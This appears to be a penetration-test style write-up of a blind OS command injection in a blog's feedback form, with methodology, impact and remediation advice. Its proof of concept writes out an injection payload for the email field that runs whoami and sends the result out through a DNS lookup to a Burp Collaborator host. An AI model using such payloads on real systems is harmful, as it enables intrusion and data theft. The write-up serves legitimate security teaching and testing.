# Blind OS command injection with out-of-band data exfiltration in a blog website

ref: hackerone report: #1339430

## Executive Summary

A **Blind OS Command Injection** vulnerability was discovered in the feedback functionality of the application. The vulnerability allows for arbitrary command execution on the underlying operating system. By leveraging out-of-band (OAST) techniques via Burp Collaborator, we were able to exfiltrate the result of a `whoami` command. This confirms that the server is susceptible to remote command injection, which is classified as **Critical** severity.

## Introduction

The objective of this assessment was to evaluate the application's input handling and command execution hygiene. The application was found to be vulnerable to blind OS command injection, enabling remote command execution through a manipulated `email` parameter in the feedback form.

## Methodology

1. **Input Vector Identification**: Targeted the `email` parameter in the feedback form submission.

2. **Payload Crafting**: Injected a command that performed a DNS lookup to a Burp Collaborator subdomain using the output of `whoami`.

3. **Out-of-Band Detection**: Used Burp Collaborator to monitor for DNS interactions triggered by the injected payload.

4. **Validation**: Confirmed command execution by extracting the OS username via a DNS request.

## Vulnerability Findings

- **Type**: Blind OS Command Injection

- **Parameter**: `email`

- **Severity**: Critical

- **Location**: Feedback form submission (`POST /feedback`)

**Description**

The application constructed a shell command using user-supplied data from the feedback form. Input validation was insufficient, allowing command separators (`||`) to execute arbitrary commands. Because the command output was not returned in the HTTP response, exfiltration via DNS to Burp Collaborator was used to extract the result of `whoami`.

**Proof of Concept (PoC)**

1. Intercepted a feedback submission request in Burp Suite.

2. Modified the `email` parameter as follows:

   ini

   CopyEdit

   ``email=||nslookup `whoami`.YOUR-COLLABORATOR-ID.burpcollaborator.net||``

3. Sent the modified request and observed DNS interactions in the Burp Collaborator tab.

4. The `whoami` output appeared as a subdomain (e.g., `www-data.YOUR-COLLABORATOR-ID.burpcollaborator.net`), confirming successful command injection.

**Impact Assessment:**

Successful exploitation allowed remote attackers to:

- Execute arbitrary commands on the server

- Exfiltrate sensitive data

- Escalate privileges or pivot within the internal network

This represents a complete compromise of the underlying system.

**Recommendations**

1. Avoid direct shell invocation using user-controlled input. Use safe APIs or libraries.

2. Sanitize and validate all input strictly, applying allow lists for expected input formats.

3. Use OS-level protections such as AppArmor, SELinux, and process isolation.

4. Perform routine security audits and incorporate automated scanning tools to catch such vulnerabilities.

## Conclusion

The application is critically vulnerable to blind OS command injection via the feedback form. The vulnerability was verified using Burp Collaborator to extract the `whoami` command output. This issue should be addressed immediately to prevent remote command execution and system compromise.